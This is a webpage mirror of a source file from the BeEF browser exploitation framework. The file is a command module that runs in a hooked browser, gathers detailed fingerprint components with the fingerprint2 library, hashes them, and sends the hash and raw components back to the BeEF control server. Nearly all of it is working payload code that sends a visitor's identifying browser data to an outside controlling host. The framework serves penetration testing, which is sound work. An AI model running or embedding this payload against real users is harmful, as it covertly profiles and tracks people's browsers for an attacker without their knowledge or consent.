Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
beefproject
GitHub Repository: beefproject/beef
Path: blob/master/modules/browser/fingerprint_browser/command.js
1154 views
1
//
2
// Copyright (c) 2006-2025Wade Alcorn - [email protected]
3
// Browser Exploitation Framework (BeEF) - https://beefproject.com
4
// See the file 'doc/COPYING' for copying permission
5
//
6
7
beef.execute(function() {
8
9
<%=
10
begin
11
f = "#{$root_dir}/modules/browser/fingerprint_browser/fingerprint2.js"
12
File.read(f)
13
rescue => e
14
print_error "[Fingerprint Browser] Could not read file '#{f}': #{e.message}"
15
end
16
%>
17
18
try {
19
setTimeout(function () {
20
Fingerprint2.get(function (components) {
21
var values = components.map(function (component) { return component.value })
22
var murmur = Fingerprint2.x64hash128(values.join(''), 31)
23
beef.debug('[Fingerprint Browser] Fingerprint: ' + murmur);
24
beef.debug('[Fingerprint Browser] Components: ' + JSON.stringify(components));
25
beef.net.send("<%= @command_url %>", <%= @command_id %>, 'fingerprint=' + murmur + '&components=' + JSON.stringify(components), beef.are.status_success());
26
})
27
}, 500)
28
} catch(e) {
29
beef.debug('[Fingerprint Browser] Error: ' + e.message);
30
beef.net.send("<%= @command_url %>", <%= @command_id %>, 'fail=' + e.message, beef.are.status_error());
31
}
32
});
33
34
35